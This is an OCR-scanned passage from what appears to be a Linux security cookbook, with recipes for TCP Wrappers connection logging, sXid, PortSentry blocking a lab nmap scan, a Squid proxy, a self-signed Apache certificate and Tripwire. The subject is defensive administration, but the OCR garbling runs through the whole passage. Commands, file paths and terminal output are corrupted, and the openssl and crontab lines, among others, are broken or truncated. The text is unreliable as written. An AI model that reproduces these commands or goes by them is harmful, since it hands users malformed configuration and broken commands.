& feitcfhosts.allow: list of hosls that are allowed bo access Lhe sysbtem.
= zee the manual pages hosts_access{:) &nd hosts_sptions(s).

# Example: ALL: LOCAL @some_netoroup
ALL: .Toobar.sdu EXCEP1 terminalserver.foobar.edu

192.168.1. 106 H DFHY
192.168.1.68/255.255.255.0 g ALLOW

After making the aforementioned changes, when we try to

connect through SSH, we see the following error:

rool@mykerberos ~d ssh Ltajinder@isz. 168.1.181
=sh_exchange_identification: Connection closed by remote host
root@mykerberos:~# ifcontig eth® 192.168.1.162
root@mykerberos;:~# ssh tajinder@i9sz?.168.1.101
tajinder@l1922.168.1.191"'s password:

* pocumentation: https://help.ubuntu.com/f

New releaze "14.84.3 LTS' available.
Fun 'do-release-upgrade' to upgrads to it.

Last login: Tue Jan 19 €2:49:55 2016 from 1%2.168.1.16€0
tajinder@sshserver:-5 i

We can see that once the IP address has been changed for the
client, SSH access is now allowed, which means that all the
clients on a particular network can access SSH, except for the
IP address that has been denied.

The preceding steps block the services rules are defined in the
/etc/hosts.allow file. However, at the server end, we don't get
to know which client has tried to access the server and when.
So, if we want to maintain a log of all connection attempts by the
client, we can edit the /etc/hosts.allow file, as shown here:



T jetc/hosts.allow: Llist of hosts that are allowed to access the syster.
. Sce the manual peges hoskts access(S5) and hosts oplions(5).

Example: ALL: LOCAL @oome neigroup
ALL: _foobar.cdu EXCEPT terminalscrver.foobar.cdu

i 192.168.1.163 : spawn fbinfecho " Jfbinjdate’ from ®%h = Jfconn.log : deny

In the preceding screenshot, the spawn keyword defines that
whenever a connection request is made by the client, it will echo
the details that are specified by the sh option and save it in the
conn.log|ng”e.

13. Now, when we read the contents of the conn. 104 file, we see

these details:

root@sshserver: /# cat conn.log
Tue Jan 19 85:32:54 IST 2016 from 192.168.1.103

root@sshserver: f#

The file contains a log of when the client has tried to connect and
from which IP address. More details can be captured using different
arguments of the spawn command.



How it works...

We use TCP Wrappers to restrict access to programs that are
supported by the TCP Wrapper package.

We first check whether the program we want to restrict is supported
by TCP Wrapper or not using the 144 tool.

We then add a rule in the/etc/hosts.allow OF /etc/hosts.deny file as
per our requirements.

We add a rule to restrict the program from a particular client or the
complete network as per our needs.

Using the spawn option in TCP Wrapper, we even maintain a log for
the connection attempts made by the client or the program that we
have restricted.



Chapter 7. Security Tools

In this chapter, we will discuss:

e Linux sXID
PortSentry

Using Squid Proxy
OpenSSL Server
Tripwire

Shorewall



Linux sXID

In Linux, normally a file has permissions of read, write, and execute.
Apart from these permissions, it can also have special permissions,
such as Set owner User ID (SUID) and Set Group ID up on
execution (SGID). Due to these permissions, it is possible for a user
to log in from their account and still run a particular file/program with
the permissions of the actual file owner (which can be root also).

sXid is the tool for monitoring SUID/SGID on a regular basis. Using
this tool, we can track changes in the SUID/SGID of files and folders.



Getting Ready

To use the tool, we need to install the sxid package on our Linux
system. We can either use the apt-get command to install the

package, or we can download the package and manually configure
and install it.



How to do it...

To start monitoring SUID/SGID files and folders, we begin with the
installation of the package and then we configure the tool as per our
requirements:

1. The first step is to install the sxid package. To do so, we run the
command as follows:

apt-get install sxid

roocftj-dev:~# apt-get install sxid
Reading package lists... Done
Building dependency ilree
Reading state informailon... Done
The followlng extra packages will be inztalled:

eximd exim4-hase exims-canfig eximd-daeman-1ight heirloom-mailx
Suggested packages:

eximond md-doc-himl eximd-doc-inTo spf-tools-perl swaks
Recormended packages:

ETRE
The following MEW packages Wwill be installed:

exird culmd hase eximd-conflg eximd daeman-1ight heirloom matlx sxid
8 upgraded, & newly installed, B to remove and 334 nat upgraded.
Heed to get 1,908 kB of archives.
Afcter this operation, 4,334 kB of additionsl disk space will be used.
Do vou wanl Lo coniinue [¥/nl? w

2. Once the installation completes, we start editing the file
/etc/sxid.conf t0 use the tool as per our requirements. Open
the file in any editor of your choice:

nano /etc/sxid. conf

3. In the configuration file, look for the line shown in the following
screenshot

# Who to send reports to

EMAIL = "root"”

Change the value for emat 1. to any other email ID if you wish to
get the output of changes whenever sxid is run to your email ID.



4. Next, look for the line which reads xeep_1.06s and change the

value to any numerical value of your choice. This number
defines how many log files to keep:

# How many logs to keep
KEEP_LOGS = "5"

. If you wish to get the logs even when sxid finds no changes,
then change the value for arways noT1FY tO yes:

# Always send reports, even when there are no changes?

ALWAYS_NOTIFY = "no"

. We can define a list of directories, separated with spaces, for
the option search for sx1p to use as a starting point for its
search.

However, if we wish to exclude any directory from the search,
we can specify it under the excrupe option:

# Where to begin our file search
SEARCH = "fusr Jfusr/local/share”

# Which subdirectories to exclude from searching
EXCLUDE = "fusrflocal”

Suppose we have a directory /usr/1ocal/share to be searched,
and the /usr/1ocal directory has been mentioned in the exclude
list, then it will still be searched. This becomes useful for
excluding a main directory, and only specifying one.

. There are many more options in /etc/sxid.conf that can be
configured as per our requirements. Once we are done with
editing the file, save and close the file.



8. Now, if we want to run sxid manually for spot-checking, we use
the following command:

sxid -c¢ /etec/sxid. conf -k

root@tj-dev:~# sxid -c /etc/sxid.conf -k
sXid Vers : 4.20130802

Check run : Mon Feb 1 21:18:03 2016
This host : tj-dev

spotcheck : /froot

Excluding : /proo fmnt jcdrom /floppy

Ignore Dirs: fhome
Forbidden : fhome [tmp

No changes found

Here, the -c option helps to define the path of the conrig file if it is
not automatically picked by the command. The -x option runs the
tool.



How it works...

First we install the sxid package, and then we configure it by editing
the file /etc/sxid.conf as per our requirements.

Once the configuration has been done, we run sxid manually to
perform spot-checking.

We can even add an entry in crontab to run sxid automatically at a
defined interval if we wish to.



PortSentry

As a system administrator, one major concern is to protect the
system from network intrusions.

This is where PortSentry comes into the picture. It has the ability to
detect scans on a host system and react to those scans in the way
we choose.



Getting Ready

To demonstrate the implementation and usage of PortSentry, we
need two systems on the same network that can ping each other.

Also, we need the nmap package on one system, which will be used
as the client, and on the other system, we will install and configure
the portsentry package.

To install the nmap package, use the following command:

apt-get install nmap

et Lnstall nmap
s Ls . Dane

ncy tree
e information... Done

B uporaded, 1 newly installed, B ta rerove and 346G not uporaded.

Need To get 1,823 kD of archilves.

Afler Lhis operation, &,376 kB of additional disk space will be used.

Get:1 http://in.archive.ubuntu.comfubuntuf preclsefmaln nmap 1386 5.21-1.1ubuntu
1 1,623 k&

Fetched 1,023 k8 in 4s (331 kE/s)




How to do it?

1. On the first system, we install the rortsentry package, using the
following command:

apt-get install portsentry

The followlng WCW packages wlill be installed:
ROrTEENTrY
& upgraded, 1 rewly Lnstalled, © to remove and 334 not uparaded.

Mesd {o get 74.2 kB ol archives.
ATter thils cperation, 315 kE of additional disk space will be usad,

ing previously w
[Keading databass ...

2. During the installation process a window will open containing
some information about portsentry. Just click ok to continue:

| configuring portsentry

PariSenlry does nob hlock anything by defanll.

Flezse note that by default PortSentry takes no action against potential
attackers. Lt onlv dumps messages into fvar/log/syslog. 1o change this
edit felc/porlsenlry/porisentry.conl.

You may alsa want to check:

Jetc/detault/portientry (daeron startup opticns) and
Jetc/portsentry/portsentry.ignore.static (hosts/interfaces to ignore)

ar further details see the portsentry(E)} and portsentry.cent(s}
manpages.

<Ok >

3. As soon as the installation completes, portsentry starts
monitoring on the TCP and UDP ports. We can verify this by
checking the file /var/10g/sys1og using the following command:



grep portsentry /var/log/syslog

295]: adminalert: Golng inte listen mode

; adminalert: Going into listen mode o

: adrinalert: foing into listen mode an
| 18295 ]: adminalerbt: Coing into Llisben mode o
[18225]: adminalert: Fortsentry 1= now active o

[192925]: adminalert: Portsentry 1.2 is startlng
[18299]: adrminalert: loing into listen mode :n1

[18792]: adminalert: Going into listen mode on
UDP port

We can see messages related to portsentry in the log.
. Now, on the second machine, which we are using as client, run
the nmap command as shown in the following:

reoctidclient:~# nmap -sT -v 192.168.1.162

ctarting Nmap 5.71 ( http://nmap.nrg ) at 2816-82-03 67:34 IST
\Initiating ARP Fing Scan at O7:34

Scanning 192.168.1.102 [1 port]

Compleled ARP Ping Scan al ©7:34, 0.19: elapsed (1 Lolal hosls)
Initiating Parallel DNS resalution of 1 hest. at @7:34

Completed Parallel DHS resolution of 1 host. at 87:34, 13.88s elapsed

Inilialing Connecl Scan al ©7:34
scanning 192.168.1.102 [1800 ports]
pen port BA/tcp on 192 168.1.102
vered open port 143/tcp on 1952.1
Dizcovered open porl 111/Lcp on 182
covercd open port 443 /tep an 1921

port 31337,/tcp on 192 .168.
port 32771/tcp on 192.16B.1.162

We can also use any other command of Nmap to perform a TCP
or UDP scan on the first system, which has portsentry running.
To learn more about nmap commands, see Chapter 1, Linux
Security Problems.

In the above result, we can see that nmap is able to scan
successfully even when portsentry is running on the first



system.

We can even try to ping the server system from the client to see
if it is working after installing portsentry.

5. Now let's configure portsentry by editing the file
/etc/portsentry/portsentry.conf On the server system.

After opening in an editor of your choice, look for the following
lines and change the value to 1:

Do not block UDP/TCP scans.
Block UDP/TCP scans.
Run external command only (KILL_RUN_CMD)

BLOCK_UDP="1"
BLOCK_TCP="1"

Scroll down and then find and uncomment the following line:
b

# iptables support for Linux

KILL_ROUTE-"/sbin/iptables -I INPUT -s STARGETS -j DROP"

¥

Next, uncomment the line shown in the following:
#

KILL_HOSTS_DENY="ALL: STARGETS : DENY"

Once done, save and close the file.
6. Next, edit the file /etc/default/portsentry:



#
TCP_MODE=

UDP_MODE=

In the lines shown above, we need to mention for which protocol
portsentry Should be working, TCP or ATCP.

. Now edit the file /etc/portsentry/portsentry.ignore.static
and add a line at the bottom, as shown in the following
screenshot:

127.0.0.1/32
0.0.0.0

192.168.1.104/255.255.255.0

Here, 192.168.1.104 is the IP address of the client machine
which we are trying to block.
. Now restart the portsentry service by running the following

command:

root@server:-# fetc/init.d/portsentry restart
Stopplng antl portscan daemon: portsentry.

S5tarting anti portscan daemon: portsentry in atcp & audp mode.
root@server:-r

. Once the above steps are complete, we will again try to run nmap
on the client machine and see if it still works properly:



10.

1.

12.

rool@clicni: -2 nrap -sT -v 192 185.1.1832

startlng Mmap 5.21 { http://nrmap.corg ) 2t 2016-82-93 13:04 IST
Iniliating ARP Ping Scan al 13:64
5 nuln; 1¥2.168.1.182 [1 porT]

cd hF!F' I'Llu Scan al 13: " slapsed {1 tobtal hostis)

Mole: <l seems down. in but blocking our ping probes, Lry -PN
Mmap dene: 1 IF { ost 3 8¢ .#d in 9.3% seconds

Raw pache 248 Rowd: @& (BB)
regtAclient: %

We can see that now nmap is not able to scan the IP address.
If we try to ping the server from the client, even that does not

work:

root@clicnt:-
PING 192.168
From 192.168
[From 192168 .
From 192 .168
From 192.168
From 192.168.
From 192.168.
My c

--- 192.168.1.182 plng statistics ---

ping 192.168.1.1602

.102 (192.168.1.102) 56(34) bytes of data.
104 iomp_seg=9 Deslinalion HosL Unreschable
104 irmp_sen=168 Destination Host Unreachable
184 icmp_seq=11 Destination Host Unreachabhle
.181 icmp_seqg=12 Destination Host Unreachable
.184 icmp_seqg=13 Destination Host Unrcachable
.104 icmp seq-14 Destination Host Unreachable

o e e .

If we check the file /etc/nosts.deny, we shall see the following
line has automatically been added:

ALL: 192.168.1.104 : DENY

Similarly, when we check the file
/var/lib/portsentry/portsentry.history, W€ get a result similar
to the last I|ne in the |mage below

AZ A A 168.1.1683 Pork: 143 70
_;-‘I J:-EIEZ._J - 20 4 : = JAR3f192 168 1 163 Porl: 554 TCF Blockad

Ii'15'1."i5'7?'5*'1 - 82 12 H 8.1.1e 1c8.1.184 FE'FE 23 TCP 3locked







How it works...

We use two systems. The first system acts as a portsentry server,
while the other acts as the client.

On the first system, we install the portsentry package, and on the
second system we install nmap, which will be used to demonstrate the
working.

Now we perform an nmap scan from the client machine on the server.
We can see that it works fine.

After this, we configure portsentry as per the requirements, by
editing various files.

Once editing is complete, restart the portsentry service and again
try to perform the nmap scan from the client on the server. We see
that now the scan does not work properly.



Using Squid proxy

Squid is a web proxy application with a variety of configurations and
uses. Squid has a large number of access controls, and supports
different protocols, such as HTTP, HTTPS, FTP, SSL, and so on.

In this section we will see how to use Squid as an HTTP proxy.



Getting Ready

To install and use Squid on a particular system on a network, ensure
that the particular system has enough physical memory, because
Squid also works as a cache proxy server and thus needs space to
maintain the cache.

We are using a Ubuntu system for our example and Squid is
available in Ubuntu repositories, so we need to ensure that our
system is up to date. For doing this we run the following command:

apt-get update

After that, run the following command:

apt-get upgrade



How to do it...

To install and configure Squid on our system, we have to take the
following steps:

1. The first step is to install the squid package, and to do so, we
run the command as follows:

root@dclient:~# apt-get install squid

Reading package 1ists... Dane

Bulldlng dependency treoe

Reading state information... Dong

The following exlra packages will be ilnsilalled:
sguid-langpack squid? sgquid3-common

Suggested packages:

squidclient squid-cgi
he follawing MiW packages will he installed:
squid squid-langpack squid3 squids-common
@ upgraded, 4 newly Lnstalled, @ to remove and 3325 not upgraded.
Meed to get 1,954 kE of archlves.
after Lhis operalion, 6,610 kB of sddilional disk zpace will be used.
Do you want te continue [¥/n]?

2. As soon as the installation of Squid completes, it starts running
with the default configuration, which is defined to block all the
HTTP/HTTPs traffic on the network.

To check this, we just need to configure the browser, on any
system on the network, to use the IP address of the proxy
system as proxy, as shown in the following screenshot:



Configure Proxies to Access the Internet
Mo proxy
Auto-detect proxy settings for this network
Use system proxy settings

@ Manual proxy configuration:

HTTP Proxy:  192.168.1.104| Port: 312815
Use this proxy server for all protocols

SSL Proxy: Part: 0

ETP Proxy: Port: 0=

SOCKS Host: Port: 0

SOCKSwl @ SOCKSwS Remote DMS

3. Once done, we can now try to access any website and we will
see an error screen as shown in the following image:

i woorw googlecom

ERROR

The requested URL could not bhe retrieved

The fol cwing error was enccurtzrad while brang ko retrewve the URL: Bepodwww.goog 2. com

Acoess Denled.

Access contro’ contcuradon oreverts vour raguzst trom being allowed at trs bime. Plzzse conzact your

our cache admiristrotor iz webmattor,

4. Now we will start configuring our proxy server to get it to work as
per our requirements. For this we will edit the file
/etc/squid3/squid.conf in any editor.

Once the file is open in the editor, search for the category which
reads:

TAG: visible hostname:Under this category, add the line—

visible hostname ourProxyServer.



# visible hostname localhast

Here, curproxyserver iS @ name we have given to our proxy
server. You can choose any name you like.

. Next, search for the category which reads Tac: cache mgr and
add the line cache mgr email@yourdomainname. Here, mention the
email ID of the administrator, who can be contacted instead of

email@yourdomainname.
A ADMINISTRATIVE PARAMETERS

: cache mgr
Fmail-address of local cache manager who will recelve
mail if the cache dies. The default is "webmaster.”
ache_mgr emallpyaurdomalnnams

. Next we search for the line which reads as shown in the
following screenshot. The nttp port variable defines the port on
which the Squid proxy will listen. The default port is 3128;
however, we can change to any other port which is not being
used. We can even define more than one port for Squid to listen
to, as shown in the following screenshot

# Squid normally listens to port 3128

http_port 3128 8888

. Now we need to add the rule to allow traffic on the network
computers, as per our requirements. For this we will search for



the line which reads ac1 l1ocalnet src 10.0.0.8.

Here, we add our rule acl localnetwork src 192.168.1.0/24, as

shown in the following image:
it kxample rule allowing access fram your local networks.
# adapt to 1ist wour [interpal) IF ne ;5 from where browsing
N should be al lowed
12.9.9.9/8 # RFC1218 possible Lnt 1 netwark
c 172.16.8.812 4 RFC1918 possible ind e LW

ik
3.8/16 T R RS al network
c fchfz:/ # RFC 4193 local priy 5
c TeRAz: /18 # KFD 42491 link-lacal ¥ plugged) machis

acl Llocalnelwork =rec 192.168.1.8724

In the preceding rule, ac1 is used to define a new rule and
localnetwork iS the name we have given to our rule. src defines
the source of the traffic which will come to the proxy server. We
define the network IP address with the subnet in bits as shown
previously.

We can add as many rules as we wish to, according to our
requirements.

. Next, search for the line which reads nttp access allow
localhost, and below this add the line http access allow
localnetwork tO start using the rule which we added in the
previous step, to allow the traffic:

# Fxarple rule allewing access from your lecal networks.
et in the ACL szection to Llist your [internal) IP networks
ere browsing should be allowed

z 2llow localhost

access Bllow localnetwark

. Once we are done with the preceding configuration steps, we
restart the Squid service using the following command:

service squid3 restart



10. Now our Squid proxy server is running. To check, we can try to
access the IP address of the proxy server from a browser on
any system on the network:

= 0 1ex1es 11

The follawing errcr was sncountered whils tying o retrieve the URL hoof 22 165,174/

Connectlen to 192,168, 1.104 falled.
Thea system returnsd: (L211) Sonnsction refused
The remoba host or network may ba down, Prease oy the requast agan,

four zache adminstrator is emai @vourdomrannarmsa.

Senedled Tha 11 Feb 2016 18:42:12 GMT by vu ProsySeive [agoidf3 1 E5)

The above error screen tells us that the Squid proxy is working
fine.

Now we can try to visit any other website and it should open as
per the rule we have added in the configuration file of Squid.



How it works...

We start by installing the Squid package. Once the package is
installed, we edit its configuration file /etc/squid3/squid.conf and
add the hostname, email ID of the administrator, and the port on
which Squid will listen.

Then we create the rule to allow traffic for all the systems on the
same network. Once we save all the configurations, we restart the
Squid service, and our proxy server is now working.



OpenSSL Server

SSL is a protocol used for transmitting sensitive information over the
Internet. This could include information such as account passwords,
credit card details, and so on. SSL is most popularly used in
conjunction with web browsing over the HTTP protocol.

opensstL library provides an implementation of Secure Sockets
Layer (SSL) and TLS Transport Layer Security (TLS) protocols.



Getting Ready

To demonstrate the use of opensst, we need two systems. One will
be used as a server on which we will install the openss1, package and
also Apache. The second system will be used as the client.



How to do it...

We will now see how to create a self-signed certificate using openssz,
for Apache. This will help encrypt traffic to the server:

1. We start by installing opensst. package on the first system using
the following command:

root@tj-dev:~# apt-get install openssl
ading package Li=is... Done
Building dependency tree
Reading stale inlformalion... Done
owing packages will be upgraded:

© to remove and 3349 not upgraded.

: il h of additional disk space will be used.
_hire uburtu.comfubuntuf preclse-updates/=aln openssl 133¢ 1.0
ubuntus. 33 i'iH" kR |
d 519 kb *n Zs [1g88 kE/s)
& 14"1'!" |l||. 5 and |t|| clories currenbly insLalled.)
ofopenssl_1.9.1-4ubuntus

2. Next, we will install Apache on the same system, as shown in
the following:

rootptj-dev:~# apt-get install apache
reading package 11st=... Dane
Building dependency free
Feadlng ¢ ¢ information... Dan
The following extra packa Hlll be installed:
apachez-mpm-worker apachez-utils apache?.i-bin apachez.?-comman libapri
libaprutill Libaprutili-dbd-sglite3 libaprulill-ldap
suggested packages:
duc apachez-zuexec apache?-suexec-cuslor
ing MLW packages will be installed:
apache? apache?-mpm-worker apache?-ulils apache?.?-hin apache? . ?-cormon
Libapri aprutill Libaprutill-dbd-sglite3 Libaprutilil-Lldap
& upgraded, 9 newly installed, @ remove and 335 not upgraded.
MWeed to get 1,830 kB of archiw
After this aperatian, 5,228 kR of addizisnal dizk space will he used.
Do you want to continue [Y/nl? v

3. Once Apache is installed, we need to enable SSL support,
which comes as standard in the Apache package for Ubuntu. To
do this, we run the command as follows:



apachei.2-commen,/RCADMC. Deblan.gz on how to conflgure 330 and
signed cerbificates.
configuration, vou need to run:
e=tark
apachez restart
o2

termine the server's fully gualifisd domain name,

ot reliably determine the server's fully qualitisd
Serwver Name

[ 0K

After enabling SSL support, restart Apache as shown in the
preceding screenshot, using this command:

service apache2 restart

. Now create a directory inside Apache's configuration directory.
This is the place where we shall keep the certificate files, which
we will be making in the next step:

mkdir /etc/apache2/ssl

. Now we will create the key and the certificate using the following
command:

-¥509 -nodes -days 365 -newkey rsa:zeds -kevout Jetc)
oul felcfapache? f=sljs

writing new private key to "fetcfapachei szl /serve

In the preceding command, req -x509 specifies that we will be
creating a self-signed certificate, which will adhere to X.509
Certificate Signing Request (CSR) management.

-nodes Specifies that the key file will be created without being
protected with any password.



-days 365 tells us that the certificate being created will be valid
for one year.

-newkeyrsa: 2048 tells us that the private key file and the
certificate file will both be created at the same time and that the
key generated will be 2048 bits long.

The next parameter, -xeyout, specifies the name for the private
key which will be created.

The -out parameter mentions the name of the certificate file
being created.

. When the key and certificate files are being created, you will be
asked a few questions. Provide the details as per your
configuration. However, the option which reads common Name
(e.g. server FQDN or YOUR name) IS important, and we have to
provide either the domain name or the server's public IP:

You are ahout to he asked to enter information that will he incorparated
into your cerbifli sl

What you are aba ke 1= what 1= called a Dlstingulshed Name ar a DN.
Ihere are guite few Tields but you can leave some blank

Foer some Tields there will be a default value,

I7 you enter ', the field will be Lefb blank.

Country Name [2 letter code) [AU]:INM
State or Province Hame (Full name) |S5one-5tate]:DEL

peality Name (eq, eily) [7:DEL

organization Hame (eg, company) [Internet Widolts Pty Lzd]:Tajlnder kalsi
Organizational Unit Marme {eqg, s an)] []:1ajinder Kalsi

Common Hare (e.g. server FOOM or YOUR name) []:192.168.1.1@3

Fmail Address [ |zinfofiajinderkalsi.con

. Next, we need to edit the file /etc/apache2/sites-
available/default to configure Apache to use the key file and
the certificate file created in the previous steps.

Find and edit the lines as shown in the following screenshot. For
serverName, We have provided the IP address of the Apache
server system:



<VirtualHost *:443>
ServerAdmin webmaster@localhost

ServerMName 192.168.1.183:143

In the same file, scroll to the end of the file, and before the

<VirtualHost> block closes, add the lines given in the following
screenshot. Mention the key file name and certificate file name
which was used while creating these files:

SSLEngine on
SS5LCertificateFile /fetcfapache2/ssl/server.crt
SSLCertificateKeyFile /etc/apache2/ssl/server.key

< /VirtualHost=>

. Now, on the client system, open any browser and visit the
Apache server's public IP using the nttps:// protocol, as shown
in the following:

= | 192, 158.1,103 & [H- al

:La This Connection is Untrusted

| Youhave asked Flrefox to connect securely to 192.168.1.103, but we can't
canflrm that your connectonls secure

Mormally, whenyou try bo connect securely, sites will presenk trusted
identificaticnto prove that youare going to the right place. However, this site's
identity can't be verified.

What Should | Do?

IF you usually connect to this slte withaut problems, this errar could mean that
sameare [s trulng ta Impersanate the site, and you shauldn't continue.

_Getme out of herel |
Technlcal Detalls

I Understand the Risks




The browser will show a warning message regarding the
connection not being secure, because the certificate is not
signed by any trusted authorities.

9. Click on I Understand the Risks and then click on the button
Add Exception to add the certificate in the browser:

| Understand the Risks:

If you understard what's going on, you can tell Firefox to start trusting this site's
identificarion. Even If you trust the site, this erraor could mean that
someone is tampering with your connaction.

Don'l add aneaceplionunless you know Lhere's a geod reason why Lhis sile
doesn't use trusted identification.

Add Exception. ..

10. The next windows will show some information about the server.
To proceed further and add the certificate, click on Confirm
Security Exception:



@ Add Security Exception

You are about to override how Firefox identifies this site.

Legitimate banks, stores, and other public sites will not
ask you to do this.

Server

Location: ] | |Get certificate |
Certificate Status

This site attempts to identify itself with invalid i

information. '

Unknown Identity

Certificate is not trusted, because it hasn't been verified by a
recognized authority using a secure signature.

& Permanently store this exception

| Confirm Security Exception | | Cancel |

11. If you wish to check more the details of the certificate, click on
View in the previous screen and you will get a new window
showing complete details of the certificate, as shown in the
following:



Certificate Viewer;"19%. 168.1.103"

General | Details

Could nokt verify this certificate because the isswer is nok trusted.

Izsued To

Comman kMame [Ch] 192, 168.1.103
Organization () rajincder Kalsi
Organizational Unil 1OU)  Tajinder ¥alsi

Serial Mumber 00:Eo41:55:BA A 30 75:86
Issued By

Commen Mame [CH) 192.168.1.103
Organizakion [O) Tajinder Kalsi

organizatianal Unlt (oL} Tajlnder Kalsi

velidity

Issued On Monday 01 Februdry 2016

Lxpires On Tuesday 37 January 2007

Fingerprints

5HA1 Fingerprink ST TARTZ0 R TAAT BTS00 7T D S e O C P B
MD3 Fingerprinl 3A54:DBBE AL SR AL BFEA T EADEODCT .0 AT.O2

12. Once the certificate has been added successfully, the web page
loading will complete, as shown in the following:
d= | B hitps://192.168.1.103 - @| [l - coccle Gl

It works!

'1his is the default web page for this server,

The web server soffivare is running but no content has been added, yet.




How it works...

We use two systems in this setup. First is the Apache server, on
which we install the opensst. package. The second system works as
the client, from which we will try to connect to the Apache web
server.

After installing the Apache and opensst package on the first system,
we enable SSL support for Apache. Then we create the server key
and server certificate file using the opensst. tool and a few
arguments.

After this, we edit the file /etc/apache2/sites-available/default, SO
that Apache can use the key and certificate that we have created.

Once done, we try to access the Apache web server through a
browser on the client machine.

We see that it asks for the new certificate to be added to the
browser, and after doing this, we are able to visit the web browser
using HTTPS protocol.



Tripwire

With the increasing number of attacks on servers nowadays,
administering the server securely is becoming a complex problem. It
is difficult to be sure that every attack has been effectively blocked.

Tripwire is a host-based Intrusion Detection System (IDS), which
can be used to monitor different filesystem data points and then alert
us if any file gets modified or changed.



Getting Ready

We only need to install the Tripwire package on our Linux system to
configure our IDS. In the next section, we will see how to install and
configure the tool.



How to do it...

We will discuss how to install and configure Tripwire on our Ubuntu
system in the following steps:

1. The first step will be to install the Tripwire package using apt-
get, as shown here;

T ient:-# apl-gel install tripwire
F age lists Done

t v .. Donie
ackages will be installed:

ix-mysgl posbiism pogsgl posbiic Ldap posblix pore sasl?
ormmon postTix-cdb postfix-doc
wing MEW packages will be inskalled:

tripwire
L 2

‘=

e [¥/nji? v

.ubuntu,ﬁﬂmyubun:uj preclse-uypdates /maln postfix

2. During the installation process it will show an information
window. Press OK to continue.

3. In the next window select Internet Site for type of mail
configuration and press OK:

———— Postfix Configuration b———

General type of mail configuration:

No cunfiiuratinn

Internet with smarthost
Satellite system
Local only

<0k= <Cancel>




4. The next window will will ask for the system mail name. Enter
the domain name of the system on which you are configuring
Tripwire:

| rostfix cenfiguration |

The "mail name” iz Lhe donsin name psed bto "gualify” _ALL_ mail

addresses without a demailn name. This includes mall to and from <ropt=!

pleaze do not make wour machire send ocut reil Trom rootfexample.org
unless rootf@example.org has told vou ta.

This name will alse be used by ather programs. It shauld be the single,
fully gualified domain name (FQDM).

Thus, i o mail address on the local hosk i= (foo@example.org, the

correct value for thils optlen would be esxample.org.

Sysler mail name:

sshclient.com

e sCancels

5. Press O in the next screen to continue.
6. Now we will be asked if we want to create a passphrase for
Tripwire. Select Yes and continue:

] 1ripwire Configuraticn

0o vou wish to createfuse your site key passphrase during installation?

Ye5= = Noa

7. Now we will be asked if we want to rebuild the configuration file.
Select Yes and continue;



| tripwire Coenfiguratien |

Tripwire keeps its configuration in a encrypted database that is
generaled, by default, from felcfiripwiref/leciyg. Lal

. Any changes to foteftripelre/twefg.txt, elther as a result of a change
| in this package or due to administrator activity, require the
regeneratien oF the encrypted database before they will take effect.

. Selecting this action will result in your being prompted for the site
| key passphra=ze during Lhe poxl-inslallation proces= of Lhis package.

f Rebulld Tripwlre configuration file?

e S

8. Next, select Yes to rebuild the policy file of Tripwire:

| Tripwire Configuration |

Iripwire keeps its policies on what attributes of which files should be
manilored in a encrypled dalabaze that i= generated, by defaulb, From
fetc/tripwlire ftwpol.txt

Py changes to felcjflripwire/twpnl.ixl, either as a rezull of a change
in thls package ar due ta adminlstrator activiiv, requlre the
regeneration of the encrypted database before they will takes effect.

Selecting this actloan Will recult in your belng prompted for the slte
key passphrase during the post-installation process of this package.

rebuild Tripwlire pollcy file?

9. Next, provide the passphrase you wish to configure for Tripwire:



el wile deEFhIEHE I
Tripwlre uses two different keys for authentication and encryption of
files. The site key iz used to protect files that could be used across
several systems. This includes the policy and configuration Tiles.

You are belng prompted Tor thls passphrase elther because na site key
exists at this time or bscause you have reguested the rebuilding of the
policy or conliguralion liles.

perember thils passphrase: it 1s not stored anyWhere!

Frler =ile-key passphraze:

<0k>

It will also ask to re-confirm the passphrase in the next screen.
10. Next, provide a passphrase for the local key and also re-confirm
in the next screen:

1 Lot lacal passphrase
Iripwire uses two different kews for authentication and encryption of
files. The local key is used to protect files specific to the lacal
machine, =uch as Lhe Tripwire databaso.  The local kew may also boe used
for slgning integrity check reports.

You are being prompled for Lhis passphrase because no bocal key File

currently exlsts.

Remerher this pazsphrase; il is nol clared anywhers!

tnter local key passphrase:

=0k~

11. The next screen confirms that the installation process has
completed successfully. Press OK to complete the installation:



12.

13.

—| Get local passphrase |———— ————— e

Iripwire has been installed

The Tripwire binaries are located in fusrfsbin and the dabtabase is
located Ln fvar/libftripwlre. IT 1s strongly advised that these
locations be stored on write-protected redia [e.g. mounted RO floppy).
seg fusr/sharefdoc/tripwire/REaDM:. pebian for details.

Once the installation has been completed successfully, our next
step is to initialize the Tripwire database. To do so we run the
command as shown in the following screenshot
root@sshcllent:~# tripwlre --init

IPlease enter your local passphrase:
Parsing policy file: fetcftripwire/tw.pol
Generating the database...

*** Processing Unix File System *#*#%

#i## Warning: File system error.

### Filename: /var/lib/tripwire/sshclient.com. twd
### No such file or directory
i Continuing...
#it# Warning: File system error.
### Filename: Jetc/rc.boot
Mo such file or directory
Continuing.. .

In the preceding output, we can see that an error called o such
file or directory iS displayed for many filenames. This
happens because Tripwire scans for every file which is
mentioned in its configuration file, whether it exists on the
system or not.

If we wish to remove the error shown in the previous
screenshot, we have to edit the file /etc/tripwire/tw.pol and
comment the lines for the file/directory which are not present in
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15.

our system. We can even leave it as it is if we wish to as it does
not hamper the working of Tripwire.

We will now test how Tripwire is working. To do so, we will
create a new file by running the following command:

touch tripwire testing

You can choose any name for the file as per your choice.
Now run the Tripwire interactive command to test it is working.
To do so, the command is as follows:

tripwire --check --interactive

Open Source Tripwire(R) 2.4.2.2 Integrily check Reporl

Report gencrated hy: roat
Repart created on: Thu Jan 28 D8:460:49 7016
Databasze Llast updated on: Hewer

Reporl Summary:

HOST name: ssholient.con

Host IP eddress: 69.172.2681. 208

Hest ID: Mane

Policy lile used: felcflripwirefiw.pol

Conliguralion Tile uszed: felc/iripwireft g

Database fille used: fvar/Ubstripwire/sshellent. com. twd
command 1ine used: tripwire - check interactive

We will get an out put, as shown in the preceding screenshot.
Tripwire checks all the files/directories, and if there are any
modifications, it will be shown in the result

Added:

[x] "frootftripwire_testing"
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In our case, it displays a line as shown in the preceding
screenshot, which tells us that a file tripwire testing has been
added to the /root directory.

If we wish to keep the changes shown, just save the result file
that was automatically opened in an editor.

While saving the result, you will be prompted for the local
passphrase. Enter the passphrase which you configured during
the installation of Tripwire.

Finally, we add an entry to crontab to run Tripwire automatically
to check for the changes in file /directory. Open the file
/etc/crontab in any editor of your choice and add the following
line:

Jusr/sbin/tripwire --check

Here, oo & tells us that Tripwire will check daily at 6 o'clock.



How it works...

First we install the Tripwire package, and during the installation we
fill in the details as asked. Once the installation completes, we
initialize the Tripwire database.

After this, we check whether Tripwire is working properly or not. For
